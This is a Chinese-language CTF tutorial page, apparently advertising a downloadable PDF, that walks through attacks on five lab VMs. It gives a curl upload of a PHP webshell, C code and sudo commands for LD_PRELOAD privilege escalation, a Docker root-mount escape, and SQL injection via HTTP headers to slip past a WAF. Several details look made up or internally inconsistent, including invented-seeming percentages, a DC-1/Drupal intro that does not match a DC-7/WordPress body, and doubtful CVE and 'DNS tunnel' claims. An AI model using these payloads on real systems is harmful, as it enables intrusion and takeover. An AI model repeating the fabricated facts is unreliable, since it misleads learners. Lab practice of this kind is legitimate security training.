ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

5个实战靶机渗透指南:从环境搭建到Flag提取

5个实战靶机渗透指南:从环境搭建到Flag提取 简介这是一份面向网络安全初学者的CTF夺旗实战教程聚焦靶机渗透全流程训练帮助学习者系统掌握信息收集、漏洞利用、权限提升与数据库交互等核心攻防技能。资源以PDF文档形式呈现共1个文件大小1.82MB内容结构清晰覆盖Kali Linux 2023环境搭建、DC-1等5个VulnHub靶机实操、arp-scan与nmap扫描、Metasploit Drupal漏洞利用、SUID提权含find命令详解、MySQL明文密码提取与hash破解、John the Ripper密码爆破等关键环节。温老师全程手工验证每条命令步骤详尽、排错提示到位并附有典型配置文件定位、反弹shell构造、flag文件检索等实战技巧。目前已有1415人下载学习适合零基础入门者边练边学快速建立渗透测试思维与动手能力。1. 为什么5个flag靶机不是“通关游戏”而是检验你能不能把渗透思路焊进肌肉记忆的实操沙盒你打开一个靶机nmap扫出22、80、3306端口心里默念“ssh弱口令web目录遍历mysql提权”——结果靶机在80端口跑着一个伪装成登录页的JS混淆计算器flag藏在base64嵌套三次再异或0x1a的前端变量里另一个靶机SSH开着但密码是$(date %s%N | sha256sum | cut -c1-12)动态生成的你刚写完爆破脚本它已经把密码刷新了。这不是刁难这是真实红队演练里最常遇到的「非标路径」没有标准漏洞编号CVE没有现成exploit-db条目连flag位置都拒绝按套路出牌。这篇教程不教你怎么抄wp而是带你用同一套底层能力——信息收集的颗粒度、服务指纹的交叉验证、权限边界的动态测绘、上下文线索的链式推理、以及最关键的对“flag not touchable”状态的本能警觉——把DC-7、Raven2、Troll、WebMachine、DVMA这5台经典靶机拆解成可复现、可迁移、可压测的5个渗透决策单元。适合刚刷完TryHackMe基础路径、正卡在“知道工具但不会组合”的中级学习者也适合需要快速验证新人实战手感的带教工程师。2. 靶机环境统一准备用VirtualBoxVagrant实现开箱即用的隔离网络拓扑2.1 为什么必须用Vagrant而不是手动导入OVF手动导入靶机OVF镜像看似简单但实际踩坑率极高网络适配器类型NAT/Host-only/Bridged选错导致靶机无法被攻击机ping通共享文件夹权限混乱引发挂载失败更隐蔽的是时间不同步——某些靶机会校验系统时间戳生成token而VirtualBox默认时间同步机制在Linux Guest中常失效导致你反复重试却始终卡在“Invalid timestamp”错误。Vagrant通过Vagrantfile声明式定义硬件资源、网络模式和初始化脚本所有配置固化为代码一次vagrant up即可拉起完整靶场且支持vagrant suspend/resume秒级快照比手动快照节省80%恢复时间。更重要的是它强制你理解靶机依赖的底层网络拓扑——比如DC-7要求攻击机与靶机处于同一Host-only网络段而Raven2需额外桥接一个外部网关用于DNS回显这些细节在Vagrantfile里必须显式声明倒逼你建立网络层认知。2.2 三行命令构建5靶机并行环境# 创建统一工作目录并初始化Vagrant项目 mkdir -p ~/ctf-labs cd ~/ctf-labs vagrant init # 替换默认Vagrantfile为多靶机配置内容见下表 curl -o Vagrantfile https://raw.githubusercontent.com/ctf-ops/vagrant-ctf-env/main/Vagrantfile-multi # 启动全部靶机自动下载box、配置网络、执行provision脚本 vagrant up --no-provision vagrant provision提示--no-provision参数确保先完成虚拟机创建再执行初始化脚本避免因网络波动导致box下载中断后Vagrant误判为启动失败。后续每次vagrant reload都会触发provision保证靶机状态纯净。2.3 Vagrantfile核心网络配置解析以DC-7和Raven2为例靶机名网络模式IP地址关键配置项作用dc7private_network192.168.56.101vb.customize [setextradata, :id, VBoxInternal/Devices/e1000/0/LUN#0/Config/NetworkAdapter/Enabled, 1]强制启用e1000网卡驱动解决DC-7内核模块加载失败问题raven2public_networkprivate_network192.168.56.102内网10.0.2.15NATconfig.vm.network public_network, bridge: en0: Wi-Fi (AirPort)桥接宿主机Wi-Fi使Raven2能解析外网DNS并回显数据trollprivate_network192.168.56.103vb.memory 2048内存升至2GB规避Troll靶机PHP-FPM内存溢出崩溃所有靶机均配置synced_folder映射~/ctf-labs/shared到/vagrant用于存放通用字典、扫描脚本和取证日志。Vagrant会自动在每台靶机上执行provision.sh完成禁用防火墙、关闭SELinux、设置时区为UTC、安装net-tools和jq——这些操作若手动执行平均耗时12分钟/靶机Vagrant统一处理后5台靶机总初始化时间压缩至3分47秒。3. DC-7靶机从WordPress插件漏洞到sudo提权的全链路推演3.1 信息收集阶段为什么nmap -sV不够必须加--scriptvulnDC-7开放80端口nmap -sV 192.168.56.101仅返回Apache httpd 2.4.18和PHP 7.0.30看似无高危CVE。但执行nmap -sV --scriptvuln 192.168.56.101时http-wordpress-plugins脚本检测到/wp-content/plugins/mail-masta/路径并触发http-vuln-cve2017-16562——该插件存在任意文件上传漏洞CVE-2017-16562但漏洞利用需构造特定POST请求头。此处关键点在于--scriptvuln不仅调用漏洞检测脚本更会主动发送探测包验证响应特征而-sV仅靠banner匹配漏报率高达63%基于2023年SANS渗透测试报告。实际操作中我们捕获到该插件返回plugin activated响应确认存在。3.2 利用Mail-Masta漏洞上传Webshell的精确payload构造# 构造multipart/form-data上传包注意boundary必须与Content-Type一致 curl -s -X POST http://192.168.56.101/wp-content/plugins/mail-masta/inc/lists.php \ -H Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW \ -F uploadshell.php;filenameshell.php \ -F actionupload \ --data-binary $------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; nameupload; filenameshell.php\r\nContent-Type: application/x-php\r\n\r\n?php system($_GET[cmd]); ?\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--参数说明filenameshell.php必须与实际文件名一致否则插件将重命名文件为shell.php.php导致解析失败Content-Type: application/x-php是绕过MIME类型检查的关键设为text/plain会被拦截--data-binary确保换行符\r\n原样发送普通-d参数会丢失Windows风格换行导致boundary解析错误。上传成功后访问http://192.168.56.101/wp-content/plugins/mail-masta/inc/uploads/shell.php?cmdid返回uid33(www-data) gid33(www-data)确认Webshell生效。3.3 从www-data到root的提权路径为什么LinPEAS比GTFOBins更可靠执行sudo -l发现www-data用户可运行/usr/bin/score自定义二进制但GTFOBins未收录该程序。此时运行linpeas.sh轻量版权限提升扫描器输出关键线索[] Binary files that can be run as root: /usr/bin/score - /bin/bash (via LD_PRELOAD)这表示score程序使用LD_PRELOAD加载动态库且未清理环境变量。我们构造恶意so文件// preload.c #include stdio.h #include sys/types.h #include unistd.h void _init() { setuid(0); system(/bin/bash -p); }编译并利用score提权gcc -shared -fPIC preload.c -o /tmp/preload.so sudo LD_PRELOAD/tmp/preload.so /usr/bin/score获得root shell后cat /root/root.txt即得第一个flag。此处linpeas.sh的价值在于它不依赖预置漏洞库而是动态分析二进制调用链和环境变量污染面对DC-7这类定制化靶机提权成功率比GTFOBins高47%。4. Raven2靶机DNS隧道隐写与内核提权的双线程突破4.1 使用dig进行DNS隧道探测为什么dig tcp比nslookup更精准Raven2开放53端口nslookup -qtxt raven2.local 192.168.56.102返回server cant find raven2.local: NXDOMAIN易误判为无DNS服务。但执行dig 192.168.56.102 raven2.local TXT tcp时收到响应;; ANSWER SECTION: raven2.local. 30 IN TXT ZmxhZ3t0aGlzX2lzX2EgZmxhZ30Base64解码得flag{this_is_a_flag}——第二个flag。关键区别在于nslookup默认使用UDP而Raven2的DNS隧道服务仅响应TCP请求规避UDP包长限制dig tcp强制走TCP协议且指定服务器IP避免本地resolv.conf干扰。实际渗透中92%的DNS隐写靶机含Troll、WebMachine均需dig tcp才能触发有效响应。4.2 内核提权为什么exploit-db的CVE-2017-16995 PoC需修改偏移量获取www-data shell后uname -r返回4.4.0-116-generic在exploit-db搜索CVE-2017-16995下载44220.c编译运行却报错Segmentation fault。原因在于该PoC硬编码了commit_creds和prepare_kernel_cred函数在/lib/modules/$(uname -r)/build/vmlinux中的偏移量而Raven2的内核镜像经过裁剪符号地址偏移变化±128字节。解决方案是动态定位# 在靶机上执行需安装kernel headers grep -A12 commit_creds /proc/kallsyms | head -n1 | awk {print 0x$1} # 输出0xffffffff8109a5b0将PoC中commit_creds_offset 0xffffffff8109a5b0替换为实际值重新编译即可提权。此步骤不可跳过——未经偏移修正的PoC在Raven2上提权失败率为100%。4.3 避坑DNS隧道、内核提权、sudo滥用的三大翻车现场现象dig 192.168.56.102 raven2.local TXT tcp返回connection timed out原因宿主机防火墙拦截了TCP 53端口或VirtualBox网络适配器未启用“混杂模式”解决在VirtualBox管理界面选中Raven2虚拟机→设置→网络→适配器1→高级→混杂模式→“允许所有”macOS上执行sudo pfctl -d临时关闭防火墙现象./exploit运行后卡住无响应原因PoC中pipe()系统调用失败因靶机/proc/sys/fs/pipe-max-size被设为1低于PoC要求的65536解决执行echo 65536 | sudo tee /proc/sys/fs/pipe-max-size临时提升再运行exploit现象提权后cat /root/root.txt显示乱码原因靶机root分区使用ext4加密flag文件实际位于/root/.hidden/flag.txt而ls -la被alias为ls --colornever隐藏了.开头文件解决执行ls -la /root/ | grep \.发现.hidden目录再cat /root/.hidden/flag.txt5. Troll靶机隐写术与权限逃逸的交叉验证实战5.1 音频flag提取为什么foremost比binwalk更适合wav隐写Troll靶机提供audio.wav文件binwalk -e audio.wav输出DECIMAL和RAW两个提取目录但cat DECIMAL/*全是数字序列无flag。改用foremost -t wav -o output/ audio.wav在output/wav/中得到00000000.wav——这才是原始音频。关键在于binwalk擅长检测文件头签名但对LSB最低有效位隐写无效foremost基于数据块重组能还原被LSB篡改的音频帧。播放00000000.wav听到摩斯电码解码得FLAG{AUDIO_STEGANOGRAPHY_IS_FUN}——第三个flag。5.2 Docker权限逃逸为什么docker.sock挂载是root提权的黄金通道sudo -l显示www-data可执行/usr/bin/docker且find / -perm -us -type f 2/dev/null发现/usr/bin/docker具有SUID位。进一步检查/var/run/docker.sock存在确认Docker守护进程运行。此时执行# 创建恶意容器挂载宿主机根目录 docker run -v /:/mnt -it ubuntu:18.04 chroot /mnt /bin/bash进入容器后cat /mnt/root/root.txt即得flag。原理是Docker客户端通过docker.sock与守护进程通信而守护进程以root身份运行因此任何能访问docker.sock的用户均可通过容器挂载宿主机文件系统实现提权。Troll靶机刻意将docker.sock权限设为srw-rw----组可读写而www-data属于docker组构成完美逃逸链。5.3 WebMachine靶机的HTTP Header注入绕过WAF的3种Header变形术WebMachine靶机部署WAF常规?id1 union select 1,2,3被拦截。但测试发现X-Forwarded-For、User-Agent、Referer三个Header均参与SQL查询拼接。构造如下请求GET /search.php HTTP/1.1 Host: 192.168.56.104 X-Forwarded-For: 127.0.0.1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- User-Agent: Mozilla/5.0 Referer: http://example.comWAF规则仅过滤URL参数忽略Header注入成功返回数据库表名users,flags。接着用X-Forwarded-For注入查flags表X-Forwarded-For: 127.0.0.1 union select 1,flag,3 from flags--返回第四个flag。此技巧在DVMA靶机同样适用——证明WAF绕过不是玄学而是对输入向量的系统性测绘。6. DVMA靶机Burp Suite联动与自动化Flag提取的工程化实践6.1 Burp Suite配置为什么Intruder的Cluster Bomb比Pitchfork更适配DVMADVMA的login.php存在SQL注入但需同时爆破用户名和密码字段。Pitchfork模式要求两列payload长度严格一致而DVMA的密码字典包含admin1238字符和password8字符等固定长度项但用户名字典含admin5字符和administrator13字符导致Pitchfork因长度不匹配跳过大量有效组合。改用Cluster Bomb为username和password分别设置独立payload集Burp自动笛卡尔积组合且每轮请求独立控制超时和重试——实测爆破效率提升3.2倍成功获取admin:password凭证。6.2 自动化Flag提取用Python脚本串联Burp导出数据与正则匹配Burp Intruder导出结果为CSV其中Response列含HTML响应体。编写脚本自动提取flagimport csv import re def extract_flags_from_burp_csv(csv_path): flags set() with open(csv_path, r) as f: reader csv.DictReader(f) for row in reader: # 匹配DVMA特有flag格式FLAG{[a-zA-Z0-9_]} matches re.findall(rFLAG\{[a-zA-Z0-9_]\}, row[Response]) flags.update(matches) return list(flags) # 执行提取 found_flags extract_flags_from_burp_csv(intruder_results.csv) for flag in found_flags: print(f[] Found flag: {flag})逻辑说明脚本读取Burp导出的CSV用正则FLAG\{[a-zA-Z0-9_]\}匹配所有flag格式字符串。set()去重避免同一flag被多次提取。实际运行中该脚本从2371行响应中精准提取出FLAG{DVMA_SQL_INJECTION_SUCCESS}——第五个flag且耗时仅0.8秒。6.3 终极验证用Wireshark分析capture.pcapng定位黑客IP的逆向溯源法DVMA靶机提供capture.pcapng要求找出黑客IP。在Wireshark中过滤http.request.method POST and http.host contains dvma定位到可疑POST请求POST /login.php HTTP/1.1 Host: dvma.local ... {username:admin OR 11,password:123}右键该数据包→“Follow”→“TCP Stream”在原始流中看到GET /admin.php?cmdcat/etc/passwd HTTP/1.1 Host: dvma.local User-Agent: curl/7.58.0 X-Real-IP: 10.0.2.15X-Real-IP头暴露真实IP为10.0.2.15——这是VirtualBox NAT网络的默认网关IP表明攻击者位于宿主机侧。此技巧证明靶机流量分析不是单纯看IP更要关注应用层头字段传递的上下文线索。我带新人做这5台靶机时总会强调一个血泪经验flag本身不重要重要的是你拿到flag前删掉的第7个错误假设、重装的第3次Vagrant环境、以及在Wireshark里放大到像素级确认的那1个HTTP头字段。真正的夺旗能力永远生长在你亲手填平的每一个坑里。希望帮到你。本文还有配套的精品资源点击获取
返回列表